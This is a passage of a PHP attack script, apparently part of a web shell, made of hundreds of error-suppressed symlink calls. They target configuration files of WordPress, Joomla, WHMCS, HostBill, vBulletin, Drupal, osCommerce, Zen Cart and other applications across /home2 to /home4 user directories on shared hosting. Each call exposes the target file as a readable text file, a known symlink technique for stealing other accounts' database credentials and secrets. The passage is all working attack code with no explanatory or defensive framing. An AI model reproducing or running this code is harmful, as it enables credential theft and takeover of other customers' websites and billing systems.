@symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-clientarea-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/autobuy/configuration.php',$user.'-autobuy-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
@symlink('/home2/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
@symlink('/home2/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
@symlink('/home2/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
@symlink('/home2/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
@symlink('/home2/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
@symlink('/home2/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
@symlink('/home2/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
@symlink('/home2/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
@symlink('/home2/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
@symlink('/home2/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
@symlink('/home2/'.$user.'/public_html/config.php',$user.'-4images1.txt');
@symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
@symlink('/home2/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
@symlink('/home2/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
@symlink('/home2/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
@symlink('/home2/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home2/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home2/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home2/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home2/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
@symlink('/home2/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home2/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home2/'.$user.'/public_html/home2/wp-config.php',$user.'-wp-home2.txt');
@symlink('/home2/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
@symlink('/home2/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home2/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home2/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
@symlink('/home2/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home2/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home2/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home2/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home2/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home2/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home2/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home2/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home2/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home2/'.$user.'/public_html/home2/configuration.php',$user.'-joomla-home2.txt');
@symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home2/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
@symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
@symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
@symlink('/home2/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
@symlink('/home2/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
@symlink('/home2/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
@symlink('/home2/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
@symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
@symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
@symlink('/home2/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
@symlink('/home2/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
@symlink('/home2/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
@symlink('/home2/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
@symlink('/home2/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home2/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
@symlink('/home2/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home2/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home2/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home2/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home2/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home2/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home2/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home2/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
@symlink('/home2/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
@symlink('/home2/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
@symlink('/home2/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home2/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home2/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home2/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home2/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home2/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home2/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home2/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home2/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home2/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
@symlink('/home2/'.$user.'/public_html/cart/configuration.php',$user.'-cart-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/buy/configuration.php',$user.'-buy-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/checkout/configuration.php',$user.'-checkout-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/host/configuration.php',$user.'-host-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/shop/configuration.php',$user.'-shop-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/shopping/configuration.php',$user.'-shopping-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/sale/configuration.php',$user.'-sale-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/client/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/support/configuration.php',$user.'-support-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home2/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmc-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/supp/configuration.php',$user.'-supp-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/secure/configuration.php',$user.'-sucure-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/panel/configuration.php',$user.'-panel-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/submitticket.php',$user.'-submitticket-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clients/configuration.php',$user.'-clients-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/billing/configuration.php',$user.'-billing-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/my/configuration.php',$user.'-whm-my-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-billings-WHMCS.txt') ;
@symlink('/home2/'.$user.'/public_html/supports/configuration.php',$user.'-supports-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/auto/configuration.php',$user.'-auto-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/go/configuration.php',$user.'-go-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/'.$user.'/configuration.php',$user.'-USERNAME-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/bill/configuration.php',$user.'-bill-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/payment/configuration.php',$user.'-payment-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/pay/configuration.php',$user.'-pay-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/purchase/configuration.php',$user.'-purchase-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clientarea/configuration.php',$user.'-clientarea-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/autobuy/configuration.php',$user.'-autobuy-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
@symlink('/home3/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
@symlink('/home3/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
@symlink('/home3/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
@symlink('/home3/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
@symlink('/home3/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
@symlink('/home3/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
@symlink('/home3/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
@symlink('/home3/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
@symlink('/home3/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
@symlink('/home3/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
@symlink('/home3/'.$user.'/public_html/config.php',$user.'-4images1.txt');
@symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
@symlink('/home3/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
@symlink('/home3/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
@symlink('/home3/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
@symlink('/home3/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home3/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home3/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home3/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home3/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home3/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
@symlink('/home3/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home3/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home3/'.$user.'/public_html/home3/wp-config.php',$user.'-wp-home3.txt');
@symlink('/home3/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
@symlink('/home3/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home3/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home3/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
@symlink('/home3/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home3/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home3/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home3/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home3/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home3/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home3/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home3/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home3/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home3/'.$user.'/public_html/home3/configuration.php',$user.'-joomla-home3.txt');
@symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home3/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
@symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
@symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
@symlink('/home3/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
@symlink('/home3/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
@symlink('/home3/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
@symlink('/home3/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
@symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
@symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
@symlink('/home3/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
@symlink('/home3/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
@symlink('/home3/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
@symlink('/home3/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
@symlink('/home3/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home3/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
@symlink('/home3/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home3/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home3/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home3/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home3/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home3/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home3/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home3/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
@symlink('/home3/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
@symlink('/home3/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
@symlink('/home3/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home3/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home3/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home3/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home3/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home3/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home3/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home3/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home3/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home3/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
@symlink('/home3/'.$user.'/public_html/cart/configuration.php',$user.'-cart-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/buy/configuration.php',$user.'-buy-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/checkout/configuration.php',$user.'-checkout-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/host/configuration.php',$user.'-host-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/shop/configuration.php',$user.'-shop-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/shopping/configuration.php',$user.'-shopping-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/sale/configuration.php',$user.'-sale-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/client/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/support/configuration.php',$user.'-support-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home3/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmc-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/supp/configuration.php',$user.'-supp-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/secure/configuration.php',$user.'-sucure-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/panel/configuration.php',$user.'-panel-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/submitticket.php',$user.'-submitticket-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clients/configuration.php',$user.'-clients-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/billing/configuration.php',$user.'-billing-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/my/configuration.php',$user.'-whm-my-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-billings-WHMCS.txt') ;
@symlink('/home3/'.$user.'/public_html/supports/configuration.php',$user.'-supports-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/auto/configuration.php',$user.'-auto-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/go/configuration.php',$user.'-go-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/'.$user.'/configuration.php',$user.'-USERNAME-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/bill/configuration.php',$user.'-bill-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/payment/configuration.php',$user.'-payment-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/pay/configuration.php',$user.'-pay-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/purchase/configuration.php',$user.'-purchase-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/clientarea/configuration.php',$user.'-clientarea-WHMCS.txt');
@symlink('/home3/'.$user.'/public_html/autobuy/configuration.php',$user.'-autobuy-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
@symlink('/home4/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
@symlink('/home4/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
@symlink('/home4/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
@symlink('/home4/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
@symlink('/home4/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
@symlink('/home4/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
@symlink('/home4/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
@symlink('/home4/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
@symlink('/home4/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
@symlink('/home4/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
@symlink('/home4/'.$user.'/public_html/config.php',$user.'-4images1.txt');
@symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
@symlink('/home4/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
@symlink('/home4/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
@symlink('/home4/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
@symlink('/home4/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home4/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home4/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home4/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home4/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home4/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
@symlink('/home4/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home4/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home4/'.$user.'/public_html/home4/wp-config.php',$user.'-wp-home4.txt');
@symlink('/home4/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
@symlink('/home4/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home4/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home4/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
@symlink('/home4/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home4/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home4/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home4/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home4/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home4/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home4/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home4/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home4/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home4/'.$user.'/public_html/home4/configuration.php',$user.'-joomla-home4.txt');
@symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home4/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
@symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
@symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
@symlink('/home4/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
@symlink('/home4/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
@symlink('/home4/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
@symlink('/home4/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
@symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
@symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
@symlink('/home4/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
@symlink('/home4/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
@symlink('/home4/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
@symlink('/home4/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
@symlink('/home4/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home4/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
@symlink('/home4/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home4/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home4/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home4/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home4/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home4/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home4/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home4/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
@symlink('/home4/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
